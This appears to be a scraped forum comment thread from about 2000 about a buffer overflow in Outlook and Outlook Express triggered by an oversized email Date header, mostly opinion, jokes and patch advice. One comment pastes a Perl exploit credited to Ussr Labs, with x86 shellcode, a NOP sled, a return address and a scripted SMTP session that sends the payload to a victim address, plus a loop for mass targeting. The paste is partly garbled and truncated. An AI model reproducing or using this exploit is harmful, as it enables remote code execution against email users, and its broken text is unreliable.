Sure, sysadmins will probably do corporate work to clear this up, but people do worse jobs maintaining software than they do their cars. At least with cars, they know that the oil needs to be changed every 5000 or so KM, and that when the tread on the tires is bare, those need to be replaced. People are still using IE 3.0! Users generally too lazy to upgrade software, even if there's a known security issue.
That said, I'm as guilty as most of them.
This flaw is not relegated to Outlook only - any email client which uses the IE engine to display HTML content (Eudora is one such mail client) leaves the door open for this exploit
Two points: If you had read any of this, you would know that the problem is in the transport mechanism of Outlook (the components) - NOT the displaying of the text. Eudora uses its own system for that. Eudora CAN (in the later versions) use the MSIE engine to display message (for the extended HTML parsing), but it doesn't HAVE to do this, its a feature users can set as they please.
Could it be that they're using email virus warnings to increase the install base of IE 5.5?
Think about it people!
"I'll take the red pill. No! Blue! AAAaaaahhhhhhhhh"
- Monty Python meets the Matrix
Novell's Groupwise has a neat little date field exploit. It doesn't crash or anything, but if you set the date to the distant past, say, the year of 1985, the message will seemingly "self destruct" after it was read and shuffle itself at the old of the mail spool. Its a cool trick if you want a message to disappear after someone reads it. In the spirit of Inspector Gadget (the cartoon, not the stupid movie,) include the quote, "This message will self destruct in 30 seconds."
Anyhow, for more fun, take a look at the source for msnbc's article. It is one HUGE mess of scripting for a short little article. What are they trying to hide in there? Easter eggs? Why all the features for just a damn story?
someone didn't read the whole thing. The major vulnerability is malformed date tags that outlook reads BEFORE the user can even get to them. insanely large numbers in that date field cause a buffer overflow. This is only a userland problem in the way that they are using outlook.
--onyx--
Yes, for those of us with hotmail accounts through Outlook Express, when you add the patch, what is also included? A blasted advertising bar!!!! I'm really pissed now. ------ Arm thy Pens; Guard thy words; Defend thy Mind
send flames > /dev/null
Only 'flamers' flame!
Virsuses cannot be contained in image files, sound files, video clips, or other file formats, only executable binaries - still technically true, but thanks to Microsoft's "hide extensions of known types" feature, you can see viruses like "innocent_file.jpg.vbs", which appears in Microsoft clients as "innocent_file.jpg". Launching this file will, of course, trigger the virus.
.shs (scrap) extensions are hidden. This is a bug which Microsoft has never patched, even though it's been known for at least a year.
And we don't even need to hide extensions, because even with extensions set to be visible,
I've written a filter for sendmail 8.11 with MAP_REGEX which can stop Date: lines longer then 60 chars. Since I don't think tabs survive /. entry fields, only the URL. Available from http://www.cetis.hvu.nl/~koos/out lookoverflow.txt.
The Virtual Bookcase: book reviews
Nope. Nice troll tho'....
-------------------- Hmmm... what does this button d
#!/usr/bin/perl* ******************************* * ******************************* ./$0 -h <server hostname> -m <mail> ./dieoutlook.pl -h <smtp server> -m victim@address.com ./outoutlook.pl -h smtpserverip -m $i; done
e ;} e ;}
,Ì ,^ ,Ð ,z , ,x
\ x31\x31\x31\x31" . \ x31\x31\x31\x31" . \ x31\x31\x31\x31" . \ x78\x0d\x0a";
\ x81\xC4\x00" . \ x0B\x11\x40\x00" . \ xEB\x06\x8B\x85" . \ x42\x11\x40\x00" . \ x40\x00\x8D\x8D" . \ x8D\x34\x11\x40" . \ x11\x40\x00\x8B" . \ x50\xFF\x95\x0B" . \ x11\x40\x00\x50" . \ x00\x6A\x00\x8B" . \ x00\x00\x00\x5D" . \ x8D\xB5\x5F\x11" . \ x00\x61\xC2\x10" . \ x00\x00\x00\x00" . \ xBF\x43\x72\x65" . \ x65\x6C\x6C\x45" . \ x6F\x64\x75\x6C" . \ x6C\x6C\x33\x32" . \ x72\x62\x61\x63" .
.= $nop x 945; # load $buffer with 945 NOP then $shellcode .= $shellcode; # append shellcode to buffer .= $code; } .= "\n\n";
.= $a[rand @a] } .= $a[rand @a] }
#**********************************************
#http://www.ussrback.com Ussr Labs (Exploiteable Buffer Overflow)
# Outlook Express 5.0 | Outlook 2000 | Outlook 97.0 | Outlook 98
#**********************************************
#
# By: Ussr Labs
#
# Arbitary shellcode injector over SMTP
#
#
#
#
#
#For Multiple email's Spanwn do something like this:
#
# for i in `cat emailshere.txt`; do perl
#
#
#
#
use Getopt::Std;
use Socket;
getopt('h:m', \%args);
# user defined variables
if(defined($args{h})){$serv=$args{h}}else{&usag
if(defined($args{m})){$rcpt=$args{m}}else{&usag
# These are the escape characters which will cause the seg violation.
# *nix didn't like the ascii interpretation, so we send the
# characters in hex.
# +,1
$spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31
"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31
"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31
"\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20
$shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00
"\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85
"\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00
"\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D
"\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11
"\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D
"\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13
"\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51
"\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B
"\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A
"\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00
"\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00
"\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
"\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7
"\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68
"\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D
"\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65
"\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73
"\x6B\x2E\x63\x6F\x6D\x00";
$ret = "00aedc5a"; # return address
$nop = "\x90"; # x86 NOP
$port = 25; # default 25 SMTP port
$buffsize = "1348"; # buffer size
$buffer
$buffer
$offset = (hex $ret); # return hex string to corresponding value
$code = pack("N", $offset); # big-endian (long) network order
while (length $buffer < $buffsize) { $buffer
$buffer
print "$code\n";
# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]
$max=(int rand 15);
@a=('a'..'z', '1'..'10'); for (1..$max) { $str
@a=('a'..'z'); for (1..$max) { $host
@dom = ('.com', '.net', '.org');
$rdom = $dom[ rand @dom ];
$rmail = $str . "@" . $host . $dom;
print "random address set to: $rmail\n";
# random date method, format: Date: <day>, <int-day> <month> 2000 <time>
@days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
$rday = $days[ rand @days ];
$rcal=(int rand(31));
$rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
$rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
$rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
$rmonth = $months[ rand @months ];
$date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
print "date set to: $date\n";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);
# begin our SMTP transaction
print "now starting SMTP transaction\n";
$res=<S>; print "$res\n";
print "sending HELO\n";
system("sleep 2s");
print S "HELO\r\n";
$res=<S>; print "$res\n";
print "sending MAIL FROM\n";
system("sleep 2s");
print S "MAIL FROM:$rmail\r\n";
$res=<S>; print "$res\n";
print "sending RCPT\n";
system("sleep 2s");
print S "RCPT TO:$rcpt\r\n";
$res=<S>; print "$res\n";
print "sending DATA\n";
system("sleep 2s");
print S "DATA\r\n";
$res=<S>; print "$res\n";
print "sending escape characters\n";
print S "$date";
print S " $spawn";
print "sending shellcode\n";
print S "$shellcode\r\n\r\n\r\n";
#$res=<S>; print "$res\n";
print S ".\r\n";
print S "QUIT\r\n";
print "shellcode spawn was successful\n";
close(S);
sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}
Ouch!
This is the second time in a week i've been burned (had to do extra work) by security flaws found in Microsoft programs.
I've been thinking about the need for a standards organization, or certification authority, for some time now. The question is; how would you set up such an organization, and would you trust it?
An analogy: All of the major e-commerce sites on the web today buys their SSL certificate from one of the big CA:s, VeriSign for one, because that's a trusted entity.
Wouldn't big progam houses be interested in getting their applications branded "Secure" by a likewise trusted authority? (think CERT) My guess is yes. Microsoft, for example, would benefit (at least in large, mission critical installations) from having their source code audited and confirmed by a third party.
When we have open source, most problems are found early (many eyeballs make shallow bugs) but not all. Think of the Wuftpd exploit last month. Is there, perhaps, even a need for an open security auditing organization?
Buffer overflows are normal bugs. Meaning they are very easy to make.
They are also easy to find and fix.
Here is where my gripe starts...
Apple, Sun, Linux etc all can be forgiven if they have an occasional overflow defect. It's pritty normal and they do eventually catch and fix those bugs.
Microsoft unlike the rest lives in a "it works ship it" world. This gripe of course is nowhere near issolated to this one issue.
However this is where it gets more blatent than others.
One programmer could miss this bug and pass it on. Microsoft has people checking code for this sort of thing. If that phase was worth anything this bug would have been cought. However so many other bugs would have been cought as well. But this one is far to easy to catch.
In the end the bug trap phase of MS Windows is worthless.
This dose not prove MsWindows is garbage. It's a normal bug. It can happen to anyone. It proves that the bugtrap phase is really a rubber stamp phase. It says Microsoft has a department purely so they can say they produce better than the open source "many eyes".
But this kind of bug dosn't need many eyes to find and fix. It only needs one pair of eyes.
Microsoft has those eyes... they are closed...
It's a normal bug... it can happen to Linux, MacOS, BSD or Solarus. But it can also be removed. Those who have bug trap dapartments can be reasonably sure such a bug would never see the light of day. Those in the open source can be fairly sure such a bug will have a short life span.
I don't actually exist.
The problem with real security issues like this one is the number of people who fail to keep up to date on all the latest patches. The infamous Morris worm, for instance, was essentially nothing more than a collection of exploits that had already been published and worked around. It's just that the relatively clueful, but overworked SysAdmins, hadn't installed them yet.
I shudder to think how many clueless MS users will be out there with this vulnerability - even five years from now.
It is HERE
When installing the IE 5.01 SP 1, the default settings include an option that installs Visual Basic Scripting support...
*scratches head*
Quidquid latine dictum sit, altum viditur.
I only post comments when someone on the internet is wrong.
Why is this the first internet virus that someone with a brain could actually fall for? Why did it take this long? It seems to me that most virus writters have been bent on having fun without risking a lengthy jail sentence. As a result, we have nothing but these little cheap worms that still cause an incredible ammount of damage. Can you imagine the damage if this thing wormed? And yet, even if this bug actually gets exploited, I doubt it will be malicious. It will probably end up in the advertising method descibed in the article. Cheap thrill.
But at this point in time, one individual could probably bring down the entire internet and then some. Imagine what would happen if someone used this bug to load a CIH-type virus on every computer. Suddenly, the majority of the world's computers go out simultaneously. It'd be mass destruction - and virtually untracable. (Can you imagine what would have happened if someone did this on Jan 1?)
But I don't think any of this will ever happen. I'm sure there will always be a way, but there's no one out there crazy enough to actually do it. Virus writters want cheap thrills. Just becuase the hole is there, doesn't mean anyone will exploit it. We may never see the doomsday virus everyone's worried about for the last decade....
"I believe that a scientist looking at nonscientific problems is just as dumb as the next guy." -Richard Feynman
-rpl
I submitted this story yesterday. It was extremely critical of M$ (...well for a cnet story). Here is an article by SANS regarding the problem and a $500 reward for the first person to come up with an automated fix in the form of a virus to innoculate against the security problem. It seems like a novel approach to the problem I wonder if anyone actually figures out how to do this.
Prospecting Stinks. Stop Wasting Time on Cold Calling.
Is how Microsoft can let their program be so reckless and promiscuous in terms of security. Here we are, with a big, gaping backdoor hole (and not the first one either) in Outlook, and they take an ex post facto attitude to it. Normally I would protest the Slashdot media whore mentality, but when Microsoft seems so lax to the idea of using protection, I feel it is one of the cases where such a mentality is justified.
We can just be fortunate that the wide open hole was discovered prematurely before it could be suddenly torn apart and violated by the efforts of malicious crackers. The possibility that one cracker could use e-mail to forcibly penetrate the hole in Outlook and spread its malicious, destructive seed deep inside a user's computer is absolutely frightening. I only hope word of this giant hole gets out to the public before it can be used and exploited by ill-willed coders.
I am not a great fan of the open source community, but I will say this in their favor. When source code is left wide open to be poked and prodded by thousands of desiring coders, it provides quicker and better stimulation for improvement. Such crawling bugs and gaping holes are rarely discovered out of nowhere in open source software, because of the continual penetration and examination of the source code that occurs in that software paradigm. Hell, we would not have found out about Outlook's newest backdoor entry point in advance unless some benevolent hackers had rammed their way into the hole and pointed it out to Microsoft and the press.
"The most fortunate of persons is he who has the most means to satisfy his vagaries."
"The most fortunate of persons is he who has the most means to satisfy his vagaries."
- Marquis De Sade
A: They held on to the story because M$ in their parent and they fear unemployment more than they fear a shitty journalistic reputation. Holding a story for corporate interests is just as bad as the story two days ago about Forbes expecting a reporter to give up sources' names. I have a feeling M$NB$ was forced to announce the hole a day early because their scoop was being threatened by another news source.
BThomas
"These are the days that must happen to you." -Walt Whitman
This particular vulnerability is kind of amusing. UNIX types have been suffering with buffer overflows for a long time now that have done some nasty things, like giving someone remote root.
In any case, it's pretty lame of M$ to be seeing people fix all their buffer 'sploits on unix-centric applications and then not fix them in an obviously vulnerable location in their own code.
This is especially amusing since they just released that gigantic patch that will ask you before it executes content in an attachment or embedded in a document. They fixed that, but they missed the buffer overflow. All I have to say is HA HA HA. :)
No wait, I have more to say: Mozilla mail ownz j00!
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
The vulnerability can be eliminated by a default installation of either of the following upgrades:
Internet Explorer 5.01 Service Pack 1.
Internet Explorer 5.5 on any system except Windows 2000
They were waiting for IE5.5 to be released so that they could persuade panicky sysadmins to upgrade to IE5.5. I'm sure many admins place a low priority on upgrading from IE3, IE4 or Netscape, but with this security fix Microsoft can hurry things along a bit. And the more people use a Microsoft browser, the more MS can "embrace and extend" web standards. Their long-term strategy of moving to web-based applications (see the recent announcement of the .NET platform) depends on widespread adoption of browsers which recognise MS extensions.
$ cat < /dev/mouse
Dear Bill,
We, at the Government of the United States, have come up with this reasonable figure for the latest wave of damage by your software to the economy of the world. Here is the breakdown:
Number of times windows crashed on me last year (30)
X
Amount of space required for install (600)
X
Ram requirement (32)
X
Confirmed bugs (64,000)
X
Cost of product (200)
X
Number of bad hair days you have had on public TV (400).
This gives a total bill of:
$2,949,120,000,000,000
See you on the links,
President of the United States.
I had a SIG once... it was years ago.
I just freshly installed Windows ME RTM on my windows box, and I was considering what e-mail client I should install on it. I thought, well I've used Eudora and Netscape in the past, but I think I'll try and keep this installation using all Microsoft stuff to see what happens . . . Then, I opened up /. to see this article on top.... hmm... maybe I'll stick with Eudora..
I'm no fan of false advertising, and Microsoft(tm) consumers would be a lot better off if Microsoft(tm) would be straight with them. Here are some suggestions on what Microsoft(tm) should change the name of Outlook(R) to:
;-)
- Outbreak
- Lookout
- Petrydish
My personal fav is Outbreak.
-- Grow up and use mutt.
DQ: What big security holes are in Eudora? Probably nothing on the level of the Outlook ones.
Happiness is like peeing yourself, only you can feel the warmth.
Gee, I wonder why MSNBC sat on this information for five weeks before reporting on it at all. Does anyone really think CNN would have gagged itself? Ok, maybe that's not the best example... Still, it does make me wonder.
Better is totally subjective. MS Outlook may be better for you, but not for me, and I venture I'm not the only one that doesn't have to rely on it. But hey, even ACs must be given their right to express themselves.Once a troll, always a troll.
My office has been taken over by iPod people.
I haven't yet seen a comment that points out a critical factor for this bug:
You need to use Outlook(Express) as your Internet mail client, and not in its "Corporate and Workgroup" mode.
This saves a lot of the hassle for office types running their own mail servers.
See the NTBUGTRAQ article for more details.
i think they are already trying that approach. problem is that they have the monkeys convinced that everything MS is good.. therefor there is nothing to fix!
Check out Magic Firesheep!
Can all suffer from buffer overruns. Now what you want is a nice bit of Java.
:-)
Sorry couldn't resist.
If you are running Internet Explorer 4.x, 5.0 and 5.01, the fastest solution to avoid this exploit is to immediately upgrade to at least Internet Explorer 5.01 Service Pack 1.
.OCX controls specific to IE can cause memory leak problems) but also incorporates Outlook Express 5.5, which is not vulnerable to the exploit described by USSR Labs.
.DLL files--but this is only for IE 4.x and IE 5.0/5.01 users.
IE 5.01 SP1 (which avoids the hassles that has plagued some IE 5.5 users) not only has a upgraded browser (which corrects a problem where certain
I believe there will be a fix available on the Windows Update web site that will correct this issue by upgradeing a number of
Raymond in Mountain View, CA
"MSNBC.com learned of the flag June 11, but agreed not to publish the information until Microsoft had a chance to supply a fix. That's standard practice in the computer security business in order to prevent possible harm to computer users."
:)
Actually, I thought Microsoft's standard practice was to create enormous security holes in their products wait until the virus spread and caused $Millions - $Billions of damage before issuing a fix
"Can of worms? The can is open... the worms are everywhere."
But does that work on 5.5? Your outgoing messages are dated on the server, not the local machine. Or do you have to be in remote mode?
Gamingmuseum.com: Give your 3D accelerator a rest.
Maybe you should explore a little deeper and then you'd realize that the scripting/forms capability of Outlook (as well as Outlook in general) is meant for enterprise solutions. Bill, in the IT department, can put together a survey form or some other data gathering form for Greg, in the marketing department. They can then email this form to everyone in the enterprise. Everyone fills out the form and the responses get put in a database via outlook and exchange.
Alternately, you can use scripting/forms to write automated interfaces to mass company emails. June, in the PR department, sends out press release notifications to the company. Thanks to Bill, in the IT department, who wrote an outlook template form, June simply needs to type in some simple info and hit send, everything ready formatted to her liking.
Now couple this with calendaring, tasks, contacts, etc. and you start to see a valuable environment for enterprise development.
SO THIS IS THE REASON OUTLOOK INCLUDES SCRIPTING.
Wouldn't a better solution be to stop using Outlook completely?